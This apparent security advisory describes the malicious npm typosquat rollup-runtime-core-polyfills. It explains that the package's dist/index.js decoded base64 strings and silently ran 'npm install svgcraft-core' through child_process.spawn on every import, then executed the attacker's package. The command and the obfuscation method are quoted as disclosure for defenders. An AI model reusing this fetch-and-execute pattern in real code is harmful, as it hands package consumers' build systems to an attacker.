Malicious code in rollup-runtime-core-polyfills (npm)

The npm package rollup-runtime-core-polyfills was published as a malicious typosquat of the legitimate rollup-plugin-polyfill-node package. The package's repository field pointed to the legitimate project (FredKSchott/rollup-plugin-polyfill-node), but the distributed code in dist/index.js contained a hidden payload.\n\nThe malicious code used base64 encoding to conceal a shell command and module name. On every require() or import() of the plugin, it would decode and execute npm install svgcraft-core --no-save --silent --no-audit --no-fund via child_process.spawn(). After installation, it would dynamically require and execute code from the attacker-controlled svgcraft-core package.\n\nThe use of base64 encoding for both the command and the require target, combined with a try/catch block that silently swallowed errors, was deliberate obfuscation. Any build system that consumed rollup-runtime-core-polyfills would automatically pull and execute whatever malicious code the attacker had published under the svgcraft-core npm name.\n\nThe incident was identified and credited to the OpenSSF's malicious-packages repository.